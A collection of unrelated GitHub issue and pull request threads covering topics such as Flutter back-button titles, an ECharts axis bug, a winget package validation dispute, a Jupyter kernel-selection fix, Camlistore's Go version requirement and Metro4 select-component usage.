@MitchellGoodwin I wonder if this could be built directly into the BackButton widget so its more composable with Material. Maybe the BackButton could be expanded to have a "show previous titles" property and this would be used in both Cupertino and Material just with different default boolean values?

@MitchellGoodwin I wonder if this could be built directly into the BackButton widget so its more composable with Material. Maybe the BackButton could be expanded to have a "show previous titles" property and this would be used in both Cupertino and Material just with different default boolean values?

@leighajarett we're going to ideally find a way to include this feature in a way that it can be used by either framework. Adding a property to turn it on an off makes sense, but maybe it makes more sense to just automatically add this if it's under an adaptive navbar on Material? Because it's taken so long to discover this, I wonder at how often this feature is used on iOS too, and customizing it may not be a big need to add complexity to the API.


Remove remaning method to update poet servers

Clean up leftovers missed in #5209.

bors merge

bors merge


Chart looks weird when using scale at axis and has close data values

Version
5.4.3
Link to Minimal Reproduction
https://codepen.io/abdurrahmanyildirim/pen/qBLKrzQ
Steps to Reproduce
Check link
Current Behavior
Axis max and min values are not calculated well.
Expected Behavior
Add some space from bottom and top. I have data 29.04 to 29.04001.  Axis max and min could be 28 to 30.
Environment
- OS:
- Browser:
- Framework:

Any additional comments?
This case occurs when I use scale true in axis.

We can control yAxis.min & max
Add this to your code and see if it helps:
offset = 0.0000002;
option.yAxis[0].max = offset +Math.max(...option.series[0].data.map(x => x[1]));
option.yAxis[0].min = -offset+Math.min(...option.series[0].data.map(x => x[1]));


Implemented custom skeletonkey Namespace object and enabled pretty-printing

I created a new custom Namespace class in configs.py.  The Namespace class is essentially just the same as argparse.Namespace but has getitem, setitem, and str methods. It can also take
I replaced all references to argparse.Namespace with the skeletonkey custom Namespace class.
The str method formats the nested namespaces in a hierarchical way essentially in yaml format.
I also have a change in here that pulls out some of the keywords as constants at the top of the file. I meant that to be a separate pull request, but I was working on the wrong branch and don't know how to detangle the git history, so I'm leaving it in. If you don't like that change you can reject this pull request and I'll remove that bit.

I changed the name "Namespace" to key for branding and to avoid confusion.

I believe that I addressed all of the concerns, and I pushed the updated changes!

Alright, I think I fixed those two things.


Build an Unraid plugin

Possibly something that can install and setup uinput and an easy way to manage the containers?

Development is started at https://github.com/games-on-whales/unraid-plugin


New package: Bithack.Principia version 2024.02.29

Pull request has been created with komac v2.1.0 :rocket:
Microsoft Reviewers: Open in CodeFlow

@microsoft-github-policy-service agree

Automatic Validation ended with:

Executable C:\Program Files\Principia\principia.exe returned exit code: 1

(Automated response - build 861.)

(Pretty sure this is expected. The latest version has a bug that crashes the game instead of displaying an error screen on unsupported systems)

I tested this in my environment and although the application installs correctly, it just doesn't launch at all. My environment is a clean install of Windows 10 with nothing else on it

Yeah, this is a known regression in the latest version of the game.
The game segfaults while initializing SDL2 with the default software renderer. (and I assume the vm doesn't support hardware acceleration)
It's supposed to show an error screen and exit, but due to a regression in SDL2, it segfaults before it could do that.
It should run in a VM with the Mesa software renderer (copy mesa3d's opengl32.dll to the ganme install directory)
...or on any "real" gpu that supports at least OpenGL 1.1.

[Policy] Hardware

so, no games or any other applications rhat require hardware acceleration are allowed on the official winget repo until that gets implemented?

https://github.com/microsoft/winget-pkgs/issues/12906

Supporting custom hardware in validation is "Not Planned".

https://github.com/microsoft/winget-pkgs/issues/199504

@denelon no custom hardware is required, just a gpu or an  opengl driver (this would be required by any other game)
#12906 is still open (and this is what this is blocked on) so why close this?
Also there are some other applications that rely on OpenGL/Vulkan and are just given exceptions during validatiob (notably, iirc Ryujinx), why doesnt this apply here?

Custom hardware is a blanket to represent any specific hardware requirement. A required GPU is just one example of hardware that might be required for a package to install/run. There were several other packages blocked by custom hardware like SSDs, UPSs, etc.
Is there a package in the community repository that supports OpenGL that could be specified as a dependency so the package would install and run in our validation infrastructure? I created the OpenGL issue in the hopes that we would eventually have a package or a means of adding OpenGL to the validation infrastructure, but I never came across one.

I'd love to be able to extend the repository as much as possible given the constraints we have on our validation policies. I've gotten used to WinGet for all the things, and I'd love to have everything, but it's just not feasible at this time.


Correctly hide old interpreters registered as kernelspecs from kernel selection

For #4632

[x] Pull request represents a single change (i.e. not fixing disparate/unrelated things in a single PR).
[x] Title summarizes what is changing.
[x] Has a news entry file (remember to thank yourself!).
[x] Appropriate comments and documentation strings in the code.
[ ] Has sufficient logging.
[ ] Has telemetry for enhancements.
[ ] Unit tests & system/integration tests are added/updated.
[ ] Test plan is updated as appropriate.
[ ] package-lock.json has been regenerated by running npm install (if dependencies have changed).

This is to fix the issue that I showed at the meeting with my covid env not showing up. It does require that you have a kernelspec on your system that we registered from an interpreter in the old days (which would be true of many customers). Was bit hard to track down as the actually issue doesn't show up until much later in the UI.
Basically:

Old kernelspec registered from an interpreter is on the system
Kernelspec finder finds it
Existing check to see if it was our old registered interpreter does not correctly detect that it's one that we registered
interpreterPath is undefined on the kernelspec, interpreterPath is filled out with current interpreter in the kernelSelection code
When creating the final kernel selector list, the current environment path matches the same python path that got stuck into the interpreter path of the existing old kernelspec (in my case my old conda base kernelspec ended up with interpreterPath = covidEnv/python) thus the current environment path is flagged as a duplicate of the old kernelspec and is removed from the selection list.

Codecov Report

Merging #4655 (e47b067) into main (8fbae5d) will increase coverage by 0%.
The diff coverage is 100%.

@@          Coverage Diff          @@
##            main   #4655   +/-   ##
=====================================
  Coverage     76%     76%
=====================================
  Files        399     399
  Lines      26180   26184    +4
  Branches    3767    3767
=====================================
+ Hits       19979   20050   +71
+ Misses      4646    4589   -57
+ Partials    1555    1545   -10

Impacted Files
Coverage Δ

...nt/datascience/jupyter/kernels/kernelSelections.ts
95% <100%> (+1%)
:arrow_up:

.../kernels/providers/installedLocalKernelProvider.ts
88% <100%> (+1%)
:arrow_up:

...ience/notebook/emptyNotebookCellLanguageService.ts
65% <0%> (-5%)
:arrow_down:

...rc/client/common/process/pythonExecutionFactory.ts
84% <0%> (-4%)
:arrow_down:

src/client/datascience/notebook/helpers/helpers.ts
72% <0%> (-2%)
:arrow_down:

...lient/datascience/kernel-launcher/kernelProcess.ts
82% <0%> (-2%)
:arrow_down:

...tascience/jupyter/liveshare/hostJupyterNotebook.ts
76% <0%> (-2%)
:arrow_down:

...active-common/intellisense/intellisenseProvider.ts
74% <0%> (+<1%)
:arrow_up:

src/client/datascience/jupyter/jupyterNotebook.ts
78% <0%> (+<1%)
:arrow_up:

...datascience/notebookStorage/nativeEditorStorage.ts
80% <0%> (+<1%)
:arrow_up:

... and 26 more


getting started says Go 1.5 is required

https://camlistore.org/download says that Go 1.5 is required. Go 1.6 is required as of today.
I would have submitted a doc fix for this, but I didn't see where it is in the repo to hack on.

https://camlistore-review.googlesource.com/#/c/6656/

"required as of today"?  Was there a specific commit that requires 1.6?

Hey,
I can't properly check things right now (mobile, spotty internet), but
afair on the website we were listing the go version required for the latest
stable release. Which is still go 1.5 for 0.9.
Mathieu
(on phone)
On May 29, 2016 8:39 PM, "Will Norris"<EMAIL_ADDRESS>wrote:

"required as of today"? Was there a specific commit that requires 1.6?
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/camlistore/camlistore/issues/794#issuecomment-222375738,
or mute the thread
https://github.com/notifications/unsubscribe/AAmNl3wsmkLNNyG4mSooBaDXMpgDo8Q6ks5qGd1cgaJpZM4IpP2G
.

The current tip requires 1.6 (enforced by make.go) .
The instructions on the release page (https://camlistore.org/doc/release/0.9) correctly say that mininum needed is 1.5. However, the download page (https://camlistore.org/download) has build instructions that I just checked fail with 1.5.4.
Maybe we can
(a) Add a line to checkout tag 0.9 before building, in case someone wants to build the stable release, and
(b) Clarify that 0.9 needs 1.5, but tip needs 1.6.
?

@happyalu yes, let's do (b). https://camlistore.org/doc/release/0.9 already says Go 1.5 (or newer, actually, but nevermind). Let's just fix https://camlistore.org/download to say "As of revision 33a8eec553, Camlistore requires Go 1.6 or newer."

Updated https://camlistore-review.googlesource.com/#/c/6656/


chore: write Mist issue auto-response content

[ ] Content
[ ] Auto-response mechanism

https://github.com/ethereum/devops/issues/192
I created a GitHub app for Autoresponder.
Additional resouruces
https://github.com/probot/probot/blob/master/docs/deployment.md#now
https://github.com/probot/autoresponder/blob/master/docs/deploy.md


Merge development into master branch for publishing Bali Milestone-2

What this PR does / why we need it:
Which issue this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close that issue when PR gets merged): fixes #
Special notes for your reviewer:
Release note:

Coverage increased (+0.2%) to 44.073% when pulling 84d96ccf69f927bdd0d47a63080864dafd696da1 on development into 15d70627bef7130dd3444506d46bc44352bc39fd on master.


Can't assign value to Select

Hi, I've a select with the data-role="select" and I'm trying to set the value at runtime with jQuery but it doesn't work, my select look like this:
<select name="option" data-role="select" data-validate="required not=-1">
<option value="-1" class="d-none"></option>
<option value="1">Option 1</option>
<option value="2">Option 2</option>
<option value="3">Option 2</option>
</select>
I already tried to use the method Metro.reinitPligin($("select[name=option]"), 'select') but only creates a new one inside the original

Changing option at runtime will be added in 4.1.0

Methods destroyPlugin, initPlugin, reinitPlugin now in development, not for all components have a method destroy.

Added, read docs for select

Hi again, I tried to create a single method inside the data('select') object to assign the value using the data method
value: function (val) {
            var element = this.element;
            element.find("option:selected").removeAttr("selected");
            element.find("option[value='" + val + "']").attr("selected", "true");
            this.data(element.prop('innerHTML'));
        },

Thanks, but everything is somewhat more complicated :) wait for 4.1.2 (today)

Added. Use method val(). More info in documentation

Hi, I've tried to use append function to  assign value to the select component but it doesn't work. Could you point me out what did I miss in the code?
<html>

<head>
    <link rel="stylesheet" href="css/metro-all.min.css">
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <script src="https://code.jquery.com/jquery-3.5.1.min.js" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>
    <script src="js/metro.min.js"></script>

</head>

<body>
    <select data-role="select" id="custom_select_list">
    </select>

    <!--JavaScript at end of body for optimized loading-->
    <script>
        $(document).ready(function() {
            $('#custom_select_list').append($('<option>', {
                value: "myvalue",
                text: "mytext"
            }));
        });
    </script>
</body>

</html>

Use select api method data(). Example https://github.com/olton/Metro4-Docs/blob/master/public_html/examples/ajax/select.html

Thanks a lot! Saved my day :)
Changed the code to this and it worked!
$(document).ready(function() {
    var select = Metro.getPlugin("#custom_select_list", 'select');
    select.data({
        "myvalue": "mytext",
        "myvalue2": "mytext2"
    });
});


Added C# version of Length of string (Issue #455)

Why:
Closes #455
What's being changed:
Added C# version of Length of string
Check off the following:

[X] I have reviewed my changes in staging (look for "Automatically generated comment" and click Modified to view your latest changes).
[X] For content changes, I have completed the self-review checklist.

https://codinasion.web.app/programme/length-of-string/